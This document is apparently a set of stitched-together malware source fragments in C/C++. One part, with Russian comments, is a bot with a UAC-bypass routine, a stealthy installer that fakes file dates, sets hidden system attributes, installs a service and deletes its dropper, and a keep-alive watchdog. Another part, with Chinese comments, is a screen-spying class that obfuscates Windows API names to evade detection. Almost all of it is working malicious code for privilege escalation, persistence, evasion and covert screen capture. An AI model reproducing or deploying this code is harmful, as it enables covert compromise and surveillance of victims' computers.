bool RunBotBypassUAC( int method, int task, const char* args ) { bool ret = false; method = 0; //используем только метод обхода 0 string path = BOT::GetBotFullExeName(); DBG( "Exe бота %s превращаем в длл", path.t_str() ); DWORD dataSize; BYTE* data = File::ReadToBufferA( path.t_str(), dataSize ); if( data == 0 ) return false; if( ConvertExeToDll(data) ) { int lenArgs = m_lstrlen(args); //размер памяти под аргументы int szTask = sizeof(BypassUACTask) + lenArgs + 1; BypassUACTask* ptask = (BypassUACTask*)MemAlloc(szTask); ptask->time = (DWORD)pGetTickCount(); ptask->task = task; ptask->lenArgs = lenArgs; m_memcpy( ptask->args, args, lenArgs + 1 ); if( File::WriteBufferA(BOT::MakeFileName( 0, FileTask ).t_str(), ptask, szTask ) == szTask ) { ret = RunDllBypassUAC( data, dataSize, method ); if( !ret ) //по какой-то причине не сработало pDeleteFileA(BOT::MakeFileName( 0, FileTask ).t_str() ); } MemFree(ptask); } MemFree(data); return ret; }
//---------------------------------------------------- // Install - Функция инсталирует бота // // IsUpdate - Признак того, что идёт обновление бота // а не первая инсталяция // // DeleteSourceFile - Удалять ли исходный файл // // SourceFileProcessPID - PID процесса, котрый // необходимо завершить перед // удалением исходного файла //---------------------------------------------------- BOOL WINAPI Install(const char* FileName, BOOL IsUpdate, BOOL DeleteSourceFile, DWORD SourceFileProcessPID) { if (!File::IsExists((PCHAR)FileName)) return FALSE; string BotFile = BOT::GetBotFullExeName(); // Проверяем не пытаемся ли мы запустить инсталяцию из // самого себя if (StrSame((PCHAR)FileName, BotFile.t_str(), false, 0)) return FALSE; INSTDBG("Installer", "Инсталируем бот. Exe бота %s", BotFile.t_str()); // Снимаем защиту и удаляем файл if (IsUpdate) BOT::Unprotect(); BOT::DeleteBotFile(BotFile.t_str(), INFINITE, false); // Копируем файл BOOL Result = (BOOL)pCopyFileA(FileName, BotFile.t_str(), TRUE); INSTDBG("Installer", "Копируем файл бота. [Result=%d; Err=%d]", Result, pGetLastError()); if (Result) { // Устанавливаем дату и атрибуты файла SetFakeFileDateTime(BotFile.t_str()); pSetFileAttributesA(BotFile.t_str(), FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY ); } // Инсталируем сервис if (IsUpdate) { // Обновляем сервис // В случае неудачи пытаемся установить сервис заново if (!BOT::UpdateService(FileName)) BOT::InstallService(FileName); } else BOT::InstallService(FileName); // Ставим защиту на ехе бота if (IsUpdate) BOT::Protect(NULL); // Удаляем файл источник if (DeleteSourceFile) { DWORD Start = (DWORD)pGetTickCount(); while ((DWORD)pGetTickCount() - Start < 5000) { if (SourceFileProcessPID) pWinStationTerminateProcess(NULL, SourceFileProcessPID, DBG_TERMINATE_PROCESS); pSetFileAttributesA(FileName, FILE_ATTRIBUTE_ARCHIVE ); BOOL Deleted = (BOOL)pDeleteFileA(FileName); if (Deleted || pGetLastError() != 5) break; pSleep(50); } } INSTDBG("Installer", "Установка бота завершена. [Result=%d]", Result); return Result != FALSE; }
uint32_t get_tick_count() { return pGetTickCount(); }
DWORD KeepAliveCheckProcessThread(LPVOID ProcessNomber) { // Поток проверки жизни процесса PCHAR MutexName = GetKeepAliveMutexName((DWORD)ProcessNomber); if (MutexName == NULL) return 0; // Запускаем бесконечный цикл проверки существования мютекса // отсутствие мютекса означает, что процесс создавший мютекс // "упал" и требует перезапуска const static DWORD MinInterval = 60000; DWORD FailedCount = 0; // Количество проваленных попыток открытия мютекса DWORD RestartCount = 0; // Количество перезапусков с интервалом меньше доступного DWORD RestartTime = 0; // Время одного перезапуска while (true) { // Открываем мютекс HANDLE Handle = (HANDLE)pOpenMutexA(MUTEX_ALL_ACCESS, false, MutexName); if (Handle != NULL) { // Мютекс существует. // Обнуляем счётчик провалов FailedCount = 0; pCloseHandle(Handle); } else { // Мютекс отсутствует, принимаем меры для устранения проблемы FailedCount++; if (FailedCount >= 5) { // перезапускаем процесс FailedCount = 0; KeepAliveRestartProcess((DWORD)ProcessNomber); // Проверяем время рестарта DWORD NewTime = (DWORD)pGetTickCount(); if (RestartTime != 0) { if ((NewTime - RestartTime) <= MinInterval) { RestartCount++; if (RestartCount >= 3) { // процесс не стабилен и часто падает. // Во избежание нагрузки на ПК и психику // пользователя прекращаем мониторинг не стабильного // процесса return 0; } } else { RestartTime = 0; RestartCount = 0; // Обнуляем счтчик частоты перезапуска } } RestartTime = NewTime; } } // Приостанавливаем поток pSleep(2000); } }
CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate) { switch (biBitCount) { case 1: case 4: case 8: case 16: case 32: m_biBitCount = biBitCount; break; default: m_biBitCount = 8; } char DYrEN66[] = {'G','e','t','D','C','\0'}; GetDCT pGetDC=(GetDCT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN66); char DYrEN67[] = {'G','e','t','D','e','s','k','t','o','p','W','i','n','d','o','w','\0'}; GetDesktopWindowT pGetDesktopWindow=(GetDesktopWindowT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN67); if (!SelectInputWinStation()) { m_hDeskTopWnd = pGetDesktopWindow(); m_hFullDC = pGetDC(m_hDeskTopWnd); } m_dwBitBltRop = SRCCOPY; char DYrEN68[] = {'G','e','t','S','y','s','t','e','m','M','e','t','r','i','c','s','\0'}; GetSystemMetricsT pGetSystemMetrics=(GetSystemMetricsT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN68); char DYrEN70[] = {'G','e','t','T','i','c','k','C','o','u','n','t','\0'}; GetTickCountT pGetTickCount=(GetTickCountT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN70); m_bAlgorithm = ALGORITHM_SCAN; // 默认使用隔行扫描算法 m_dwLastCapture = pGetTickCount(); m_nMaxFrameRate = nMaxFrameRate; m_dwSleep = 1000 / nMaxFrameRate; m_bIsGray = bIsGray; // m_nFullWidth = ::GetSystemMetrics(SM_CXSCREEN); // m_nFullHeight = ::GetSystemMetrics(SM_CYSCREEN); m_nFullWidth = pGetSystemMetrics(SM_CXSCREEN); m_nFullHeight = pGetSystemMetrics(SM_CYSCREEN); m_nIncSize = 32 / m_biBitCount; m_nStartLine = 0; char DYrEN75[] = {'C','r','e','a','t','e','C','o','m','p','a','t','i','b','l','e','D','C','\0'}; CreateCompatibleDCT pCreateCompatibleDC=(CreateCompatibleDCT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN75); // m_hFullMemDC = ::CreateCompatibleDC(m_hFullDC); // m_hDiffMemDC = ::CreateCompatibleDC(m_hFullDC); // m_hLineMemDC = ::CreateCompatibleDC(NULL); // m_hRectMemDC = ::CreateCompatibleDC(NULL); m_hFullMemDC = pCreateCompatibleDC(m_hFullDC); m_hDiffMemDC = pCreateCompatibleDC(m_hFullDC); m_hLineMemDC = pCreateCompatibleDC(NULL); m_hRectMemDC = pCreateCompatibleDC(NULL); m_lpvLineBits = NULL; m_lpvFullBits = NULL; m_lpbmi_line = ConstructBI(m_biBitCount, m_nFullWidth, 1); m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight); m_lpbmi_rect = ConstructBI(m_biBitCount, m_nFullWidth, 1); char DYrEN72[] = {'C','r','e','a','t','e','D','I','B','S','e','c','t','i','o','n','\0'}; CreateDIBSectionT pCreateDIBSection=(CreateDIBSectionT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN72); // m_hLineBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL); // m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL); // m_hDiffBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL); m_hLineBitmap = pCreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL); m_hFullBitmap = pCreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL); m_hDiffBitmap = pCreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL); char DYrEN80[] = {'S','e','l','e','c','t','O','b','j','e','c','t','\0'}; SelectObjectT pSelectObject=(SelectObjectT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN80); // ::SelectObject(m_hFullMemDC, m_hFullBitmap); // ::SelectObject(m_hLineMemDC, m_hLineBitmap); // ::SelectObject(m_hDiffMemDC, m_hDiffBitmap); pSelectObject(m_hFullMemDC, m_hFullBitmap); pSelectObject(m_hLineMemDC, m_hLineBitmap); pSelectObject(m_hDiffMemDC, m_hDiffBitmap); char DmDjm02[] = {'S','e','t','R','e','c','t','\0'}; SetRectT pSetRect=(SetRectT)GetProcAddress(LoadLibrary("USER32.dll"),DmDjm02); // ::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight); pSetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight); // 足够了 m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2]; m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight; m_rectBufferOffset = 0; }
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes) { static LONG nOldCursorPosY = 0; if (lpdwBytes == NULL || m_rectBuffer == NULL) return NULL; SelectInputWinStation(); // 重置rect缓冲区指针 m_rectBufferOffset = 0; // 写入使用了哪种算法 WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm)); // 写入光标位置 POINT CursorPos; char CtxPW58[] = {'G','e','t','C','u','r','s','o','r','P','o','s','\0'}; GetCursorPosT pGetCursorPos=(GetCursorPosT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW58); pGetCursorPos(&CursorPos); WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT)); // 写入当前光标类型 BYTE bCursorIndex = m_CursorInfo.getCurrentCursorIndex(); WriteRectBuffer(&bCursorIndex, sizeof(BYTE)); // 差异比较算法 if (m_bAlgorithm == ALGORITHM_DIFF) { // 分段扫描全屏幕 ScanScreen(m_hDiffMemDC, m_hFullDC, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight); *lpdwBytes = m_rectBufferOffset + Compare((LPBYTE)m_lpvDiffBits, (LPBYTE)m_lpvFullBits, m_rectBuffer + m_rectBufferOffset, m_lpbmi_full->bmiHeader.biSizeImage); return m_rectBuffer; } // 鼠标位置发变化并且热点区域如果发生变化,以(发生变化的行 + DEF_STEP)向下扫描 // 向上提 int nHotspot = max(0, CursorPos.y - DEF_STEP); for ( int i = ((CursorPos.y != nOldCursorPosY) && ScanChangedRect(nHotspot)) ? (nHotspot + DEF_STEP) : m_nStartLine; i < m_nFullHeight; i += DEF_STEP ) { if (ScanChangedRect(i)) { i += DEF_STEP; } } nOldCursorPosY = CursorPos.y; m_nStartLine = (m_nStartLine + 3) % DEF_STEP; *lpdwBytes = m_rectBufferOffset; char DYrEN70[] = {'G','e','t','T','i','c','k','C','o','u','n','t','\0'}; GetTickCountT pGetTickCount=(GetTickCountT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN70); // 限制发送帧的速度 char FBwWp25[] = {'S','l','e','e','p','\0'}; SleepT pSleep=(SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp25); while (pGetTickCount() - m_dwLastCapture < m_dwSleep) pSleep(1); char SSzlC21[] = {'I','n','t','e','r','l','o','c','k','e','d','E','x','c','h','a','n','g','e','\0'}; InterlockedExchangeT pInterlockedExchange=(InterlockedExchangeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),SSzlC21); pInterlockedExchange((LPLONG)&m_dwLastCapture, pGetTickCount()); return m_rectBuffer; }